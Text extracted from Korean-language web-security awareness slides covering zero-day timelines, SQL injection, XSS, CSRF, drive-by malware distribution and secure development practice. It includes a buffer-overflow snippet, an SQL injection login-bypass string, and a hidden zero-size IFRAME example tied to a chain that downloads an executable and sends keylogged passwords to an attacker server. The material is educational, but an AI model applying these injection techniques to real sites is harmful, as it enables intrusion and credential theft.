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/* Buffer Overflow */
char buffer[96];
strcpy(buffer, large_string);
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특정프로그램의취약점을발견한시점

개발자가해당취약점을확인한시점

개발자가패치버젼을공개하는시점

POC(Proof of Concept) 가 공개되는시점

취약점이용악성코드출현시점

취약점발견자
(Hacker)

개발자

0-Day 



0-Day Exploits 
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7월 16일 보안 권고문 발표.. 8월 2일 패치 배포

패치나올때까지는웹서핑을
하지말아야하나….



0 해킹시연



0-Day Exploits
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아이폰탈옥도
보앆취약성에서시작



웹보앆은 Active X ?

ActiveX 설치만조심하면되는것아닌가요? 
다른게뭐있나요?



SQL Injection

이용자가입력창에 ‘나 ; 과 같은특수한문자를입력했을때

SELECT * FROM USER_DB WHERE 
ID=‘ADMIN’ AND PW=‘’ or 1 = 1–- ‘
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SQL Injection을 이용하여
과속단속카메라우회하기



SQL Injection
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Massive SQL Injection
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XSS (Cross Site Scripting)



CSRF

공격자가원하는요청을페이지내에몰래삽입



인터넷은낚시꾼천지



해킹사이트도미노효과



인링크, 아웃링크



공격사이트보고 !!



[출처 : http://hummingbird.tistory.com/2346]

외부 컨텐츠에의한 악성코드 유포

http://www.iga**.co.kr/hong/ro
ok.html



악성코드유포 공식
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1. SQL Injection 취약성이있는웹사이트를

찾고공격하기

- 백도어업로드

2. 작은자바스크립트나 IFRAME 삽입하기

3. 클라이언트가해킹된웹사이트방문

- 다양한공격이시작됨

IFRAMES

Redirects

Exploits

4.  클라이언트가해킹당하여악성코드가설치

됨

- 키로거등을설치하여게임계정정보수집

5.  공격자에게정보가전달됨

China Injection

1

2

3

4

5
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www.어리숙한서버.com

<IFRAME SRC=털린서
버.com/wow.js 

width=0 height = 0>
......

www.털린서버.com

Q1 : IE6이냐?
A1 : 그러면 ie6.htm 로딩해
Q2 : Flash player 버젼은.
flash player 버젼 9.0.47이야? 
A2 : 그러면 i47.swf를 로딩해....
.....

IE6의 특정모듈의보안
취약성을공략하는데이터
가내장된페이지.. 

IE6으로 하여금
털린다른서버.com의

1.exe를다운로드받아실
행하게함

sports.htm wow.js

Ie6.htmwww.털린다른서버.com

- 키로거
(나쁜서버로몰래
아이디/비밀번호전

송)
ID/PW ...
ID/PW....
ID/PW ....

IDLIST.txt

www.나쁜서버.com 1.exe

악성코드유포공식
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sun.html 분석 결과 :

IE취약성(MS10-002)을 이용하여
nb.exe라는악성코드다운로드받게하는페이지
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nb.exe 검사하기



Root Cause
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전웹사이트개발자인데, 제가
뭘 잘못했나요?



Root cause
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개발자의실수

흔히입력값검증을제대로앆하는경우가많습니다.

이러한 “실수”는 SQL Injection / XSS 공격으로이어집니다.



OWASP TOP 10

Reference : http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project



해결앆
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이제부터어떻게해야하나요?



기획 설계 개발 테스트 출시/이관 운영 폐기

1. 상세설계
보앆검수

2. QA단계
보앆검수

3. 인프라
보앆검수

4. 정기/수시
보앆진단

5. 폐기시
보앆검수

세부지침
(가이드)

체크
리스트

절차

내부
메뉴얼

인프라운영자를위한 보안지침서비스개발자를위한 보안지침

소프트웨어개발 주기와 보앆

적절한프로세스가만들어져야겠고,
개발완료후여유가있을때혹은문제
가생겼을때보앆을챙기는게, 아니라
항상보앆을생각해야겠지요....



개발보앆의 중요성

29

보앆을고려한앆전한개발이필요합니다.

KISA(인터넷진흥원)에서제공하는보앆앆내서와OWASP TOP 10 Guideline을
우선살펴보세요

http://www.kisa.or.kr/public/laws/laws3.jsp



정말관심을 갖지않는다면...



기본페이지에..

디렉토리노출취약점..

에러메시지 처리 미숙, remote file 
include 가능성 까지.. 

정말관심을 갖지않는다면...

이거 완전 보앆취약성의

종합선물세트네..



.....
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